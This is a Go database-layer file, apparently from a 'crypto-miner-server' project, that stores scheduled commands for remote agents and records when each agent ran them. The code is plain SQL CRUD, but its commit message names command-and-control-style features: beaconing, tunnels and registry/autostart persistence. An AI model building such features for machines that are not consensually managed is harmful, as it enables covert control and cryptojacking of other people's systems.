Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
98 lines
3.0 KiB
Go
98 lines
3.0 KiB
Go
package db
|
|
|
|
import (
|
|
"database/sql"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/models"
|
|
|
|
"github.com/google/uuid"
|
|
)
|
|
|
|
func (d *Database) ListFleetTasks() ([]*models.FleetTask, error) {
|
|
rows, err := d.Query(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks ORDER BY created_at`)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer rows.Close()
|
|
return scanFleetTasks(rows)
|
|
}
|
|
|
|
func (d *Database) GetFleetTask(id string) (*models.FleetTask, error) {
|
|
row := d.QueryRow(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks WHERE id = ?`, id)
|
|
return scanFleetTaskRow(row)
|
|
}
|
|
|
|
func (d *Database) UpsertFleetTask(t *models.FleetTask) error {
|
|
if t.ID == "" {
|
|
t.ID = uuid.New().String()
|
|
}
|
|
now := time.Now()
|
|
if t.CreatedAt.IsZero() {
|
|
t.CreatedAt = now
|
|
}
|
|
t.UpdatedAt = now
|
|
_, err := d.Exec(`INSERT INTO fleet_tasks (id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at)
|
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
|
ON CONFLICT(id) DO UPDATE SET
|
|
name = excluded.name,
|
|
enabled = excluded.enabled,
|
|
trigger = excluded.trigger,
|
|
interval_hours = excluded.interval_hours,
|
|
cron_time = excluded.cron_time,
|
|
action = excluded.action,
|
|
command = excluded.command,
|
|
target = excluded.target,
|
|
updated_at = excluded.updated_at`,
|
|
t.ID, t.Name, boolToInt(t.Enabled), t.Trigger, t.IntervalHours, t.CronTime, t.Action, t.Command, t.Target, t.CreatedAt, t.UpdatedAt,
|
|
)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) DeleteFleetTask(id string) error {
|
|
_, err := d.Exec(`DELETE FROM fleet_tasks WHERE id = ?`, id)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) RecordFleetTaskRun(agentID, taskID string) error {
|
|
_, err := d.Exec(`INSERT INTO fleet_task_runs (agent_id, task_id, last_run_at) VALUES (?, ?, ?)
|
|
ON CONFLICT(agent_id, task_id) DO UPDATE SET last_run_at = excluded.last_run_at`,
|
|
agentID, taskID, time.Now(),
|
|
)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
|
|
var ts time.Time
|
|
err := d.QueryRow(`SELECT last_run_at FROM fleet_task_runs WHERE agent_id = ? AND task_id = ?`, agentID, taskID).Scan(&ts)
|
|
if err != nil {
|
|
return time.Time{}, false
|
|
}
|
|
return ts, true
|
|
}
|
|
|
|
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
|
|
t := &models.FleetTask{}
|
|
var enabled int
|
|
err := row.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
t.Enabled = enabled == 1
|
|
return t, nil
|
|
}
|
|
|
|
func scanFleetTasks(rows *sql.Rows) ([]*models.FleetTask, error) {
|
|
var out []*models.FleetTask
|
|
for rows.Next() {
|
|
t := &models.FleetTask{}
|
|
var enabled int
|
|
if err := rows.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt); err != nil {
|
|
return nil, err
|
|
}
|
|
t.Enabled = enabled == 1
|
|
out = append(out, t)
|
|
}
|
|
return out, rows.Err()
|
|
}
|